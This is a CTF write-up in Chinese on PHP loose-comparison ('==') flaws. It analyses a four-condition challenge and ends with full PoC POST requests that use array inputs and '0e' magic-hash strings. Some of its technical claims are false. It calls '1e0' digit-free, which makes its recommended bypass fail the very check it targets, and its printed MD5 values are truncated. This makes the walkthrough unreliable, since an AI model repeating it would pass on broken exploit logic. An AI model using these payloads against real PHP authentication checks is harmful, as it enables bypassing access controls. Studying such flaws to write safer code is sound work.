一、漏洞背景介紹
在 CTF(Capture The Flag)競賽和 Web 安全測試中,PHP 語言的類型比較漏洞是常見的考點。這類漏洞源于 PHP 的弱類型特性,即當使用==進行比較時,PHP 會自動進行類型轉換,從而導致一些不符合預期的比較結果。本文將通過分析一道具體的 PHP 代碼題目,深入探討這類漏洞的原理和利用方法。
二、題目代碼分析
我們先來看一下題目給出的 PHP 代碼:
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){if(isset($_POST['b1'])&&$_POST['b2']){if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){echo $flag;}else{echo "yee";}}else{echo "nop";}}else{echo "go on";}
}else{echo "let's get some php";
}
?>
2.1 條件逐層分析
這段代碼通過四重條件判斷來控制 flag 的輸出,我們需要逐一分析每個條件的要求:
第一層條件:
isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])
必須存在 POST 參數a
a的值不能包含任何數字字符
a的值被轉換為整數后必須為真(即非零)
第二層條件:
isset($_POST['b1']) && $_POST['b2']
必須存在 POST 參數b1和b2
第三層條件:
$_POST['b1'] != $_POST['b2'] && md5($_POST['b1']) === md5($_POST['b2'])
b1和b2的值不能相等
但它們的 MD5 哈希值必須嚴格相等(使用===比較)
第四層條件:
$_POST['c1'] != $_POST['c2'] && is_string($_POST['c1']) && is_string($_POST['c2']) && md5($_POST['c1']) == md5($_POST['c2'])
c1和c2的值不能相等
它們都必須是字符串類型
它們的 MD5 哈希值必須寬松相等(使用==比較)
三、漏洞利用原理
3.1 第一層條件繞過:非數字的整數
第一個挑戰是如何讓一個字符串不包含數字,但轉換為整數后卻非零。PHP 的類型轉換規則為我們提供了突破口。當一個字符串被轉換為整數時,PHP 會從字符串的開始處提取數字部分,直到遇到非數字字符為止。如果字符串以非數字字符開頭,則轉換結果為 0。
解決方案:使用科學計數法表示數字。例如,字符串1e0在 PHP 中會被解釋為1 * 10^0 = 1,但它并不包含數字字符0-9,因為e在科學計數法中是合法的指數符號。
驗證代碼:
<?php
var_dump(preg_match('/[0-9]/', '1e0')); // bool(false)
var_dump(intval('1e0')); // int(1)
?>
除了使用科學計數法,還可以利用 PHP 數組的特性繞過第一個條件。當$_POST[‘a’]是一個數組時:
preg_match('/[0-9]/', $_POST['a'])會返回false(即不匹配)
因為preg_match期望的參數是字符串,當傳入數組時會觸發警告,但返回值為0(表示不匹配)
intval($_POST['a'])會返回0
因為數組轉換為整數時結果為0
矛盾點:雖然preg_match檢查通過了,但intval($_POST[‘a’])返回0,而第三個條件要求轉換結果為真(非零)。這看似是一個矛盾,但實際情況中可能存在兩種解釋:
PHP 版本差異:在某些 PHP 版本中,數組轉換為布爾值時可能被視為true
測試代碼:
<?php
$a = array('a');
var_dump((bool)$a); // 通常輸出bool(true)
var_dump(intval($a)); // 輸出int(0)
?>
但在條件表達式中,intval($a)明確返回0,這應該導致條件失敗。因此這種解釋可能不成立。
代碼邏輯漏洞:出題者可能忽略了數組對preg_match的影響
當傳入a[]=a時,雖然intval返回0,但出題者可能誤以為數組轉換為整數會得到非零值
實際測試:在大多數 PHP 環境中,a[]=a會導致第一個條件失敗。但如果題目環境存在特殊配置(如錯誤抑制符@屏蔽了preg_match的警告),這種繞過方式可能有效。
建議:在實際 CTF 題目中,如果遇到類似情況,兩種方法都應該嘗試:
- 使用科學計數法a=1e0(通用有效)
- 嘗試數組繞過a[]=a(可能在特定環境中有效)
3.2 第二層條件繞過:數組的 MD5 哈希
第二個挑戰是找到兩個不同的值,它們的 MD5 哈希值嚴格相等。PHP 在處理數組的哈希函數(如 md5 ()、sha1 ())時有一個特殊行為:當傳入的參數是數組時,這些函數會返回NULL。
解決方案:使用數組作為參數。例如:
<?php
$b1 = array(1);
$b2 = array(2);
var_dump($b1 != $b2); // bool(true)
var_dump(md5($b1) === md5($b2)); // bool(true),因為md5($b1)和md5($b2)都為NULL
?>
3.3 第三層條件繞過:MD5 碰撞與弱類型比較
第三個挑戰是找到兩個不同的字符串,它們的 MD5 哈希值在寬松比較下相等。這需要利用 PHP 的弱類型特性和特定的 MD5 碰撞字符串。
當使用==比較兩個字符串時,如果它們看起來像科學計數法表示的數字(即0e開頭,后面跟著數字),PHP 會將它們解釋為 0 的冪,因此所有這種形式的字符串在寬松比較下都相等。
解決方案:使用特定的 MD5 碰撞字符串。例如:
QNKCDZO的 MD5 值是0e83040045199349405802421990339
QLTHNDT的 MD5 值是0e40596782540195537254913908420
驗證代碼:
<?php
$c1 = "QNKCDZO";
$c2 = "QLTHNDT";
var_dump($c1 != $c2); // bool(true)
var_dump(is_string($c1) && is_string($c2)); // bool(true)
var_dump(md5($c1) == md5($c2)); // bool(true)
?>
四、完整 POC 與利用
方案一:科學計數法(推薦)
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 71a=1e0&b1[]=1&b2[]=2&c1=QNKCDZO&c2=QLTHNDT
方案二:數組繞過(特定環境可能有效)
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 71a[]=a&b1[]=1&b2[]=2&c1=QNKCDZO&c2=QLTHNDT
標題五、擴展知識點
5.1 PHP 弱類型比較總結
PHP 的弱類型比較是一個常見的安全風險點。下表總結了一些常見的弱類型比較陷阱:
表達式 | 結果 | 原因 |
---|---|---|
0 == "0" | true | 字符串 "0" 被轉換為整數 0 |
0 == "abc" | true | 字符串 "abc" 轉換為整數 0 |
"10" == "010" | false | 字符串比較不進行類型轉換 |
10 == "010" | true | 字符串 "010" 被轉換為整數 10 |
md5("240610708") == md5("QNKCDZO") | true | 兩個 MD5 值都是 0e 開頭的字符串,在寬松比較下相等 |
sha1("aaroZmOk") == sha1("aaK1STfY") | true | 兩個 SHA1 值都是 0e 開頭的字符串,在寬松比較下相等 |
5.2 更多 MD5 碰撞字符串
除了前面提到的QNKCDZO和QLTHNDT,還有許多其他的 MD5 碰撞字符串對,例如:
240610708 和 QNKCDZO
aabg7XSs 和 aabC9RqS
這些字符串對的 MD5 值都是0e開頭,因此在 PHP 的寬松比較下相等。
六、總結
通過分析這道 CTF 題目,我們深入了解了 PHP 弱類型比較漏洞的原理和利用方法。這類漏洞雖然在現代 PHP 應用中已經較少見,但在一些老舊系統或代碼中仍然可能存在。理解這些漏洞的工作原理,不僅有助于我們在安全測試中發現問題,也能指導我們寫出更安全的 PHP 代碼。
在實際滲透測試和 CTF 競賽中,遇到類似的多條件驗證題目時,我們需要逐一分析每個條件的繞過方法,結合編程語言的特性和漏洞利用技巧,構造出能夠通過所有驗證的 POC。